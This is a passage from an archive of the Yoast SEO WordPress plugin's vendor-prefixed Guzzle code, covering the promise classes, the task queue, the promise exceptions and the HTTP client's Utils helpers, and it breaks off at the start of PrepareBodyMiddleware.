    public function __construct(callable $waitFn = null, callable $cancelFn = null)
    {
        $this->waitFn = $waitFn;
        $this->cancelFn = $cancelFn;
    }
    public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if ($this->state === self::PENDING) {
            $p = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise(null, [$this, 'cancel']);
            $this->handlers[] = [$p, $onFulfilled, $onRejected];
            $p->waitList = $this->waitList;
            $p->waitList[] = $this;
            return $p;
        }
        // Return a fulfilled promise and immediately invoke any callbacks.
        if ($this->state === self::FULFILLED) {
            $promise = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($this->result);
            return $onFulfilled ? $promise->then($onFulfilled) : $promise;
        }
        // It's either cancelled or rejected, so return a rejected promise
        // and immediately invoke any callbacks.
        $rejection = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($this->result);
        return $onRejected ? $rejection->then(null, $onRejected) : $rejection;
    }
    public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->then(null, $onRejected);
    }
    public function wait(bool $unwrap = \true)
    {
        $this->waitIfPending();
        if ($this->result instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface) {
            return $this->result->wait($unwrap);
        }
        if ($unwrap) {
            if ($this->state === self::FULFILLED) {
                return $this->result;
            }
            // It's rejected so "unwrap" and throw an exception.
            throw \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($this->result);
        }
    }
    public function getState() : string
    {
        return $this->state;
    }
    public function cancel() : void
    {
        if ($this->state !== self::PENDING) {
            return;
        }
        $this->waitFn = $this->waitList = null;
        if ($this->cancelFn) {
            $fn = $this->cancelFn;
            $this->cancelFn = null;
            try {
                $fn();
            } catch (\Throwable $e) {
                $this->reject($e);
            }
        }
        // Reject the promise only if it wasn't rejected in a then callback.
        /** @psalm-suppress RedundantCondition */
        if ($this->state === self::PENDING) {
            $this->reject(new \YoastSEO_Vendor\GuzzleHttp\Promise\CancellationException('Promise has been cancelled'));
        }
    }
    public function resolve($value) : void
    {
        $this->settle(self::FULFILLED, $value);
    }
    public function reject($reason) : void
    {
        $this->settle(self::REJECTED, $reason);
    }
    private function settle(string $state, $value) : void
    {
        if ($this->state !== self::PENDING) {
            // Ignore calls with the same resolution.
            if ($state === $this->state && $value === $this->result) {
                return;
            }
            throw $this->state === $state ? new \LogicException("The promise is already {$state}.") : new \LogicException("Cannot change a {$this->state} promise to {$state}");
        }
        if ($value === $this) {
            throw new \LogicException('Cannot fulfill or reject a promise with itself');
        }
        // Clear out the state of the promise but stash the handlers.
        $this->state = $state;
        $this->result = $value;
        $handlers = $this->handlers;
        $this->handlers = null;
        $this->waitList = $this->waitFn = null;
        $this->cancelFn = null;
        if (!$handlers) {
            return;
        }
        // If the value was not a settled promise or a thenable, then resolve
        // it in the task queue using the correct ID.
        if (!\is_object($value) || !\method_exists($value, 'then')) {
            $id = $state === self::FULFILLED ? 1 : 2;
            // It's a success, so resolve the handlers in the queue.
            \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->add(static function () use($id, $value, $handlers) : void {
                foreach ($handlers as $handler) {
                    self::callHandler($id, $value, $handler);
                }
            });
        } elseif ($value instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\Promise && \YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($value)) {
            // We can just merge our handlers onto the next promise.
            $value->handlers = \array_merge($value->handlers, $handlers);
        } else {
            // Resolve the handlers when the forwarded promise is resolved.
            $value->then(static function ($value) use($handlers) : void {
                foreach ($handlers as $handler) {
                    self::callHandler(1, $value, $handler);
                }
            }, static function ($reason) use($handlers) : void {
                foreach ($handlers as $handler) {
                    self::callHandler(2, $reason, $handler);
                }
            });
        }
    }
    /**
     * Call a stack of handlers using a specific callback index and value.
     *
     * @param int   $index   1 (resolve) or 2 (reject).
     * @param mixed $value   Value to pass to the callback.
     * @param array $handler Array of handler data (promise and callbacks).
     */
    private static function callHandler(int $index, $value, array $handler) : void
    {
        /** @var PromiseInterface $promise */
        $promise = $handler[0];
        // The promise may have been cancelled or resolved before placing
        // this thunk in the queue.
        if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($promise)) {
            return;
        }
        try {
            if (isset($handler[$index])) {
                /*
                 * If $f throws an exception, then $handler will be in the exception
                 * stack trace. Since $handler contains a reference to the callable
                 * itself we get a circular reference. We clear the $handler
                 * here to avoid that memory leak.
                 */
                $f = $handler[$index];
                unset($handler);
                $promise->resolve($f($value));
            } elseif ($index === 1) {
                // Forward resolution values as-is.
                $promise->resolve($value);
            } else {
                // Forward rejections down the chain.
                $promise->reject($value);
            }
        } catch (\Throwable $reason) {
            $promise->reject($reason);
        }
    }
    private function waitIfPending() : void
    {
        if ($this->state !== self::PENDING) {
            return;
        } elseif ($this->waitFn) {
            $this->invokeWaitFn();
        } elseif ($this->waitList) {
            $this->invokeWaitList();
        } else {
            // If there's no wait function, then reject the promise.
            $this->reject('Cannot wait on a promise that has ' . 'no internal wait function. You must provide a wait ' . 'function when constructing the promise to be able to ' . 'wait on a promise.');
        }
        \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->run();
        /** @psalm-suppress RedundantCondition */
        if ($this->state === self::PENDING) {
            $this->reject('Invoking the wait callback did not resolve the promise');
        }
    }
    private function invokeWaitFn() : void
    {
        try {
            $wfn = $this->waitFn;
            $this->waitFn = null;
            $wfn(\true);
        } catch (\Throwable $reason) {
            if ($this->state === self::PENDING) {
                // The promise has not been resolved yet, so reject the promise
                // with the exception.
                $this->reject($reason);
            } else {
                // The promise was already resolved, so there's a problem in
                // the application.
                throw $reason;
            }
        }
    }
    private function invokeWaitList() : void
    {
        $waitList = $this->waitList;
        $this->waitList = null;
        foreach ($waitList as $result) {
            do {
                $result->waitIfPending();
                $result = $result->result;
            } while ($result instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\Promise);
            if ($result instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface) {
                $result->wait(\false);
            }
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/Each.php000064400000005143147510273100020767 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

final class Each
{
    /**
     * Given an iterator that yields promises or values, returns a promise that
     * is fulfilled with a null value when the iterator has been consumed or
     * the aggregate promise has been fulfilled or rejected.
     *
     * $onFulfilled is a function that accepts the fulfilled value, iterator
     * index, and the aggregate promise. The callback can invoke any necessary
     * side effects and choose to resolve or reject the aggregate if needed.
     *
     * $onRejected is a function that accepts the rejection reason, iterator
     * index, and the aggregate promise. The callback can invoke any necessary
     * side effects and choose to resolve or reject the aggregate if needed.
     *
     * @param mixed $iterable Iterator or array to iterate over.
     */
    public static function of($iterable, callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return (new \YoastSEO_Vendor\GuzzleHttp\Promise\EachPromise($iterable, ['fulfilled' => $onFulfilled, 'rejected' => $onRejected]))->promise();
    }
    /**
     * Like of, but only allows a certain number of outstanding promises at any
     * given time.
     *
     * $concurrency may be an integer or a function that accepts the number of
     * pending promises and returns a numeric concurrency limit value to allow
     * for dynamic a concurrency size.
     *
     * @param mixed        $iterable
     * @param int|callable $concurrency
     */
    public static function ofLimit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return (new \YoastSEO_Vendor\GuzzleHttp\Promise\EachPromise($iterable, ['fulfilled' => $onFulfilled, 'rejected' => $onRejected, 'concurrency' => $concurrency]))->promise();
    }
    /**
     * Like limit, but ensures that no promise in the given $iterable argument
     * is rejected. If any promise is rejected, then the aggregate promise is
     * rejected with the encountered rejection.
     *
     * @param mixed        $iterable
     * @param int|callable $concurrency
     */
    public static function ofLimitAll($iterable, $concurrency, callable $onFulfilled = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return self::ofLimit($iterable, $concurrency, $onFulfilled, function ($reason, $idx, \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $aggregate) : void {
            $aggregate->reject($reason);
        });
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/PromisorInterface.php000064400000000456147510273100023564 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * Interface used with classes that return a promise.
 */
interface PromisorInterface
{
    /**
     * Returns a promise.
     */
    public function promise() : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/TaskQueue.php000064400000004027147510273100022036 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * A task queue that executes tasks in a FIFO order.
 *
 * This task queue class is used to settle promises asynchronously and
 * maintains a constant stack size. You can use the task queue asynchronously
 * by calling the `run()` function of the global task queue in an event loop.
 *
 *     GuzzleHttp\Promise\Utils::queue()->run();
 *
 * @final
 */
class TaskQueue implements \YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface
{
    private $enableShutdown = \true;
    private $queue = [];
    public function __construct(bool $withShutdown = \true)
    {
        if ($withShutdown) {
            \register_shutdown_function(function () : void {
                if ($this->enableShutdown) {
                    // Only run the tasks if an E_ERROR didn't occur.
                    $err = \error_get_last();
                    if (!$err || $err['type'] ^ \E_ERROR) {
                        $this->run();
                    }
                }
            });
        }
    }
    public function isEmpty() : bool
    {
        return !$this->queue;
    }
    public function add(callable $task) : void
    {
        $this->queue[] = $task;
    }
    public function run() : void
    {
        while ($task = \array_shift($this->queue)) {
            /** @var callable $task */
            $task();
        }
    }
    /**
     * The task queue will be run and exhausted by default when the process
     * exits IFF the exit is not the result of a PHP E_ERROR error.
     *
     * You can disable running the automatic shutdown of the queue by calling
     * this function. If you disable the task queue shutdown process, then you
     * MUST either run the task queue (as a result of running your event loop
     * or manually using the run() method) or wait on each outstanding promise.
     *
     * Note: This shutdown will occur before any destructors are triggered.
     */
    public function disableShutdown() : void
    {
        $this->enableShutdown = \false;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/CancellationException.php000064400000000405147510273100024376 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * Exception that is set as the reason for a promise that has been cancelled.
 */
class CancellationException extends \YoastSEO_Vendor\GuzzleHttp\Promise\RejectionException
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/PromiseInterface.php000064400000005511147510273100023365 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * A promise represents the eventual result of an asynchronous operation.
 *
 * The primary way of interacting with a promise is through its then method,
 * which registers callbacks to receive either a promise’s eventual value or
 * the reason why the promise cannot be fulfilled.
 *
 * @see https://promisesaplus.com/
 */
interface PromiseInterface
{
    public const PENDING = 'pending';
    public const FULFILLED = 'fulfilled';
    public const REJECTED = 'rejected';
    /**
     * Appends fulfillment and rejection handlers to the promise, and returns
     * a new promise resolving to the return value of the called handler.
     *
     * @param callable $onFulfilled Invoked when the promise fulfills.
     * @param callable $onRejected  Invoked when the promise is rejected.
     */
    public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
    /**
     * Appends a rejection handler callback to the promise, and returns a new
     * promise resolving to the return value of the callback if it is called,
     * or to its original fulfillment value if the promise is instead
     * fulfilled.
     *
     * @param callable $onRejected Invoked when the promise is rejected.
     */
    public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
    /**
     * Get the state of the promise ("pending", "rejected", or "fulfilled").
     *
     * The three states can be checked against the constants defined on
     * PromiseInterface: PENDING, FULFILLED, and REJECTED.
     */
    public function getState() : string;
    /**
     * Resolve the promise with the given value.
     *
     * @param mixed $value
     *
     * @throws \RuntimeException if the promise is already resolved.
     */
    public function resolve($value) : void;
    /**
     * Reject the promise with the given reason.
     *
     * @param mixed $reason
     *
     * @throws \RuntimeException if the promise is already resolved.
     */
    public function reject($reason) : void;
    /**
     * Cancels the promise if possible.
     *
     * @see https://github.com/promises-aplus/cancellation-spec/issues/7
     */
    public function cancel() : void;
    /**
     * Waits until the promise completes if possible.
     *
     * Pass $unwrap as true to unwrap the result of the promise, either
     * returning the resolved value or throwing the rejected exception.
     *
     * If the promise cannot be waited on, then the promise will be rejected.
     *
     * @return mixed
     *
     * @throws \LogicException if the promise has no wait function or if the
     *                         promise does not settle after waiting.
     */
    public function wait(bool $unwrap = \true);
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/Create.php000064400000004412147510273100021330 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

final class Create
{
    /**
     * Creates a promise for a value if the value is not a promise.
     *
     * @param mixed $value Promise or value.
     */
    public static function promiseFor($value) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if ($value instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface) {
            return $value;
        }
        // Return a Guzzle promise that shadows the given promise.
        if (\is_object($value) && \method_exists($value, 'then')) {
            $wfn = \method_exists($value, 'wait') ? [$value, 'wait'] : null;
            $cfn = \method_exists($value, 'cancel') ? [$value, 'cancel'] : null;
            $promise = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise($wfn, $cfn);
            $value->then([$promise, 'resolve'], [$promise, 'reject']);
            return $promise;
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise($value);
    }
    /**
     * Creates a rejected promise for a reason if the reason is not a promise.
     * If the provided reason is a promise, then it is returned as-is.
     *
     * @param mixed $reason Promise or reason.
     */
    public static function rejectionFor($reason) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if ($reason instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface) {
            return $reason;
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Promise\RejectedPromise($reason);
    }
    /**
     * Create an exception for a rejected promise value.
     *
     * @param mixed $reason
     */
    public static function exceptionFor($reason) : \Throwable
    {
        if ($reason instanceof \Throwable) {
            return $reason;
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Promise\RejectionException($reason);
    }
    /**
     * Returns an iterator for the given value.
     *
     * @param mixed $value
     */
    public static function iterFor($value) : \Iterator
    {
        if ($value instanceof \Iterator) {
            return $value;
        }
        if (\is_array($value)) {
            return new \ArrayIterator($value);
        }
        return new \ArrayIterator([$value]);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/TaskQueueInterface.php000064400000000723147510273100023656 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

interface TaskQueueInterface
{
    /**
     * Returns true if the queue is empty.
     */
    public function isEmpty() : bool;
    /**
     * Adds a task to the queue that will be executed the next time run is
     * called.
     */
    public function add(callable $task) : void;
    /**
     * Execute all of the pending task in the queue.
     */
    public function run() : void;
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/RejectionException.php000064400000002327147510273100023731 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * A special exception that is thrown when waiting on a rejected promise.
 *
 * The reason value is available via the getReason() method.
 */
class RejectionException extends \RuntimeException
{
    /** @var mixed Rejection reason. */
    private $reason;
    /**
     * @param mixed       $reason      Rejection reason.
     * @param string|null $description Optional description.
     */
    public function __construct($reason, string $description = null)
    {
        $this->reason = $reason;
        $message = 'The promise was rejected';
        if ($description) {
            $message .= ' with reason: ' . $description;
        } elseif (\is_string($reason) || \is_object($reason) && \method_exists($reason, '__toString')) {
            $message .= ' with reason: ' . $this->reason;
        } elseif ($reason instanceof \JsonSerializable) {
            $message .= ' with reason: ' . \json_encode($this->reason, \JSON_PRETTY_PRINT);
        }
        parent::__construct($message);
    }
    /**
     * Returns the rejection reason.
     *
     * @return mixed
     */
    public function getReason()
    {
        return $this->reason;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/FulfilledPromise.php000064400000004261147510273100023374 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * A promise that has been fulfilled.
 *
 * Thenning off of this promise will invoke the onFulfilled callback
 * immediately and ignore other callbacks.
 *
 * @final
 */
class FulfilledPromise implements \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
{
    private $value;
    /**
     * @param mixed $value
     */
    public function __construct($value)
    {
        if (\is_object($value) && \method_exists($value, 'then')) {
            throw new \InvalidArgumentException('You cannot create a FulfilledPromise with a promise.');
        }
        $this->value = $value;
    }
    public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        // Return itself if there is no onFulfilled function.
        if (!$onFulfilled) {
            return $this;
        }
        $queue = \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue();
        $p = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$queue, 'run']);
        $value = $this->value;
        $queue->add(static function () use($p, $value, $onFulfilled) : void {
            if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($p)) {
                try {
                    $p->resolve($onFulfilled($value));
                } catch (\Throwable $e) {
                    $p->reject($e);
                }
            }
        });
        return $p;
    }
    public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->then(null, $onRejected);
    }
    public function wait(bool $unwrap = \true)
    {
        return $unwrap ? $this->value : null;
    }
    public function getState() : string
    {
        return self::FULFILLED;
    }
    public function resolve($value) : void
    {
        if ($value !== $this->value) {
            throw new \LogicException('Cannot resolve a fulfilled promise');
        }
    }
    public function reject($reason) : void
    {
        throw new \LogicException('Cannot reject a fulfilled promise');
    }
    public function cancel() : void
    {
        // pass
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/AggregateException.php000064400000000661147510273100023674 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * Exception thrown when too many errors occur in the some() or any() methods.
 */
class AggregateException extends \YoastSEO_Vendor\GuzzleHttp\Promise\RejectionException
{
    public function __construct(string $msg, array $reasons)
    {
        parent::__construct($reasons, \sprintf('%s; %d rejected promises', $msg, \count($reasons)));
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Utils.php000064400000032615147510273100020712 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\Proxy;
use YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
final class Utils
{
    /**
     * Debug function used to describe the provided value type and class.
     *
     * @param mixed $input
     *
     * @return string Returns a string containing the type of the variable and
     *                if a class is provided, the class name.
     */
    public static function describeType($input) : string
    {
        switch (\gettype($input)) {
            case 'object':
                return 'object(' . \get_class($input) . ')';
            case 'array':
                return 'array(' . \count($input) . ')';
            default:
                \ob_start();
                \var_dump($input);
                // normalize float vs double
                /** @var string $varDumpContent */
                $varDumpContent = \ob_get_clean();
                return \str_replace('double(', 'float(', \rtrim($varDumpContent));
        }
    }
    /**
     * Parses an array of header lines into an associative array of headers.
     *
     * @param iterable $lines Header lines array of strings in the following
     *                        format: "Name: Value"
     */
    public static function headersFromLines(iterable $lines) : array
    {
        $headers = [];
        foreach ($lines as $line) {
            $parts = \explode(':', $line, 2);
            $headers[\trim($parts[0])][] = isset($parts[1]) ? \trim($parts[1]) : null;
        }
        return $headers;
    }
    /**
     * Returns a debug stream based on the provided variable.
     *
     * @param mixed $value Optional value
     *
     * @return resource
     */
    public static function debugResource($value = null)
    {
        if (\is_resource($value)) {
            return $value;
        }
        if (\defined('STDOUT')) {
            return \STDOUT;
        }
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen('php://output', 'w');
    }
    /**
     * Chooses and creates a default handler to use based on the environment.
     *
     * The returned handler is not wrapped by any default middlewares.
     *
     * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the best handler for the given system.
     *
     * @throws \RuntimeException if no viable Handler is available.
     */
    public static function chooseHandler() : callable
    {
        $handler = null;
        if (\defined('CURLOPT_CUSTOMREQUEST')) {
            if (\function_exists('curl_multi_exec') && \function_exists('curl_exec')) {
                $handler = \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapSync(new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler(), new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler());
            } elseif (\function_exists('curl_exec')) {
                $handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler();
            } elseif (\function_exists('curl_multi_exec')) {
                $handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler();
            }
        }
        if (\ini_get('allow_url_fopen')) {
            $handler = $handler ? \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapStreaming($handler, new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler()) : new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler();
        } elseif (!$handler) {
            throw new \RuntimeException('GuzzleHttp requires cURL, the allow_url_fopen ini setting, or a custom HTTP handler.');
        }
        return $handler;
    }
    /**
     * Get the default User-Agent string to use with Guzzle.
     */
    public static function defaultUserAgent() : string
    {
        return \sprintf('GuzzleHttp/%d', \YoastSEO_Vendor\GuzzleHttp\ClientInterface::MAJOR_VERSION);
    }
    /**
     * Returns the default cacert bundle for the current system.
     *
     * First, the openssl.cafile and curl.cainfo php.ini settings are checked.
     * If those settings are not configured, then the common locations for
     * bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
     * and Windows are checked. If any of these file locations are found on
     * disk, they will be utilized.
     *
     * Note: the result of this function is cached for subsequent calls.
     *
     * @throws \RuntimeException if no bundle can be found.
     *
     * @deprecated Utils::defaultCaBundle will be removed in guzzlehttp/guzzle:8.0. This method is not needed in PHP 5.6+.
     */
    public static function defaultCaBundle() : string
    {
        static $cached = null;
        static $cafiles = [
            // Red Hat, CentOS, Fedora (provided by the ca-certificates package)
            '/etc/pki/tls/certs/ca-bundle.crt',
            // Ubuntu, Debian (provided by the ca-certificates package)
            '/etc/ssl/certs/ca-certificates.crt',
            // FreeBSD (provided by the ca_root_nss package)
            '/usr/local/share/certs/ca-root-nss.crt',
            // SLES 12 (provided by the ca-certificates package)
            '/var/lib/ca-certificates/ca-bundle.pem',
            // OS X provided by homebrew (using the default path)
            '/usr/local/etc/openssl/cert.pem',
            // Google app engine
            '/etc/ca-certificates.crt',
            // Windows?
            'C:\\windows\\system32\\curl-ca-bundle.crt',
            'C:\\windows\\curl-ca-bundle.crt',
        ];
        if ($cached) {
            return $cached;
        }
        if ($ca = \ini_get('openssl.cafile')) {
            return $cached = $ca;
        }
        if ($ca = \ini_get('curl.cainfo')) {
            return $cached = $ca;
        }
        foreach ($cafiles as $filename) {
            if (\file_exists($filename)) {
                return $cached = $filename;
            }
        }
        throw new \RuntimeException(<<<EOT
No system CA bundle could be found in any of the the common system locations.
PHP versions earlier than 5.6 are not properly configured to use the system's
CA bundle by default. In order to verify peer certificates, you will need to
supply the path on disk to a certificate bundle to the 'verify' request
option: https://docs.guzzlephp.org/en/latest/request-options.html#verify. If
you do not need a specific certificate bundle, then Mozilla provides a commonly
used CA bundle which can be downloaded here (provided by the maintainer of
cURL): https://curl.haxx.se/ca/cacert.pem. Once you have a CA bundle available
on disk, you can set the 'openssl.cafile' PHP ini setting to point to the path
to the file, allowing you to omit the 'verify' request option. See
https://curl.haxx.se/docs/sslcerts.html for more information.
EOT
);
    }
    /**
     * Creates an associative array of lowercase header names to the actual
     * header casing.
     */
    public static function normalizeHeaderKeys(array $headers) : array
    {
        $result = [];
        foreach (\array_keys($headers) as $key) {
            $result[\strtolower($key)] = $key;
        }
        return $result;
    }
    /**
     * Returns true if the provided host matches any of the no proxy areas.
     *
     * This method will strip a port from the host if it is present. Each pattern
     * can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
     * partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
     * "baz.foo.com", but ".foo.com" != "foo.com").
     *
     * Areas are matched in the following cases:
     * 1. "*" (without quotes) always matches any hosts.
     * 2. An exact match.
     * 3. The area starts with "." and the area is the last part of the host. e.g.
     *    '.mit.edu' will match any host that ends with '.mit.edu'.
     *
     * @param string   $host         Host to check against the patterns.
     * @param string[] $noProxyArray An array of host patterns.
     *
     * @throws InvalidArgumentException
     */
    public static function isHostInNoProxy(string $host, array $noProxyArray) : bool
    {
        if (\strlen($host) === 0) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('Empty host provided');
        }
        // Strip port if present.
        [$host] = \explode(':', $host, 2);
        foreach ($noProxyArray as $area) {
            // Always match on wildcards.
            if ($area === '*') {
                return \true;
            }
            if (empty($area)) {
                // Don't match on empty values.
                continue;
            }
            if ($area === $host) {
                // Exact matches.
                return \true;
            }
            // Special match if the area when prefixed with ".". Remove any
            // existing leading "." and add a new leading ".".
            $area = '.' . \ltrim($area, '.');
            if (\substr($host, -\strlen($area)) === $area) {
                return \true;
            }
        }
        return \false;
    }
    /**
     * Wrapper for json_decode that throws when an error occurs.
     *
     * @param string $json    JSON data to parse
     * @param bool   $assoc   When true, returned objects will be converted
     *                        into associative arrays.
     * @param int    $depth   User specified recursion depth.
     * @param int    $options Bitmask of JSON decode options.
     *
     * @return object|array|string|int|float|bool|null
     *
     * @throws InvalidArgumentException if the JSON cannot be decoded.
     *
     * @see https://www.php.net/manual/en/function.json-decode.php
     */
    public static function jsonDecode(string $json, bool $assoc = \false, int $depth = 512, int $options = 0)
    {
        $data = \json_decode($json, $assoc, $depth, $options);
        if (\JSON_ERROR_NONE !== \json_last_error()) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_decode error: ' . \json_last_error_msg());
        }
        return $data;
    }
    /**
     * Wrapper for JSON encoding that throws when an error occurs.
     *
     * @param mixed $value   The value being encoded
     * @param int   $options JSON encode option bitmask
     * @param int   $depth   Set the maximum depth. Must be greater than zero.
     *
     * @throws InvalidArgumentException if the JSON cannot be encoded.
     *
     * @see https://www.php.net/manual/en/function.json-encode.php
     */
    public static function jsonEncode($value, int $options = 0, int $depth = 512) : string
    {
        $json = \json_encode($value, $options, $depth);
        if (\JSON_ERROR_NONE !== \json_last_error()) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_encode error: ' . \json_last_error_msg());
        }
        /** @var string */
        return $json;
    }
    /**
     * Wrapper for the hrtime() or microtime() functions
     * (depending on the PHP version, one of the two is used)
     *
     * @return float UNIX timestamp
     *
     * @internal
     */
    public static function currentTime() : float
    {
        return (float) \function_exists('hrtime') ? \hrtime(\true) / 1000000000.0 : \microtime(\true);
    }
    /**
     * @throws InvalidArgumentException
     *
     * @internal
     */
    public static function idnUriConvert(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, int $options = 0) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        if ($uri->getHost()) {
            $asciiHost = self::idnToAsci($uri->getHost(), $options, $info);
            if ($asciiHost === \false) {
                $errorBitSet = $info['errors'] ?? 0;
                $errorConstants = \array_filter(\array_keys(\get_defined_constants()), static function (string $name) : bool {
                    return \substr($name, 0, 11) === 'IDNA_ERROR_';
                });
                $errors = [];
                foreach ($errorConstants as $errorConstant) {
                    if ($errorBitSet & \constant($errorConstant)) {
                        $errors[] = $errorConstant;
                    }
                }
                $errorMessage = 'IDN conversion failed';
                if ($errors) {
                    $errorMessage .= ' (errors: ' . \implode(', ', $errors) . ')';
                }
                throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException($errorMessage);
            }
            if ($uri->getHost() !== $asciiHost) {
                // Replace URI only if the ASCII version is different
                $uri = $uri->withHost($asciiHost);
            }
        }
        return $uri;
    }
    /**
     * @internal
     */
    public static function getenv(string $name) : ?string
    {
        if (isset($_SERVER[$name])) {
            return (string) $_SERVER[$name];
        }
        if (\PHP_SAPI === 'cli' && ($value = \getenv($name)) !== \false && $value !== null) {
            return (string) $value;
        }
        return null;
    }
    /**
     * @return string|false
     */
    private static function idnToAsci(string $domain, int $options, ?array &$info = [])
    {
        if (\function_exists('idn_to_ascii') && \defined('INTL_IDNA_VARIANT_UTS46')) {
            return \idn_to_ascii($domain, $options, \INTL_IDNA_VARIANT_UTS46, $info);
        }
        throw new \Error('ext-idn or symfony/polyfill-intl-idn not loaded or too old');
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/PrepareBodyMiddleware.php000064400000006376147510273100024031 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Prepares requests that contain a body, adding the Content-Length,
 * Content-Type, and Expect headers.
 *
 * @final
 */
class PrepareBodyMiddleware
{
    /**
     * @var callable(RequestInterface, array): PromiseInterface
     */
    private $nextHandler;
    /**
